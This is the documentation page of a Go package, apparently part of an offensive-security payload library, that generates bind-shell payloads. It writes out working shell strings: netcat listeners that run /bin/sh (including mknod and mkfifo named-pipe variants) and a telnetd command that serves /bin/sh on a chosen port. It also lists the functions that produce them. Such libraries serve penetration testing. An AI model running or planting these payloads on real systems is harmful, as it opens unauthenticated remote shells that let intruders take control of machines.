Documentation ¶
Overview ¶
Bind shell payloads & listeners.
The bindshell package contains all the code for generating bind shells that listen on a port for interaction.
As with all the payload sub-packages, each of these payload types can be used either in the raw string format for manipulation or via the specific payload type provided by the project. This allows the following usage patterns to have the same output:
bindshell.Netcat.Default(1337) bindshell.Netcat.Mknod(1337) fmt.Sprintf(bindshell.NetcatMknod, 1337)
Index ¶
Constants ¶
View Source
const ( NetcatDefault = "nc -l -p %d -e /bin/sh" NetcatMknod = `cd /tmp; mknod %s p; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;` NetcatMkfifo = `cd /tmp; mkfifo %s; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;` )
View Source
const TelnetDefault = "telnetd -l /bin/sh -p %d"
Variables ¶
View Source
var ( Netcat = &NetcatPayload{} Telnet = &TelnetPayload{} )
Functions ¶
This section is empty.
Types ¶
type NetcatPayload ¶
type NetcatPayload struct{}
func (*NetcatPayload) Default ¶
func (nc *NetcatPayload) Default(bport int) string
func (*NetcatPayload) Gaping ¶
func (nc *NetcatPayload) Gaping(bport int) string
func (*NetcatPayload) Mkfifo ¶
func (nc *NetcatPayload) Mkfifo(bport int) string
func (*NetcatPayload) Mknod ¶
func (nc *NetcatPayload) Mknod(bport int) string
type TelnetPayload ¶
type TelnetPayload struct{}
func (*TelnetPayload) Default ¶
func (telnet *TelnetPayload) Default(bport int) string
func (*TelnetPayload) TelnetdLogin ¶
func (telnet *TelnetPayload) TelnetdLogin(bport int) string
Click to show internal directories.
Click to hide internal directories.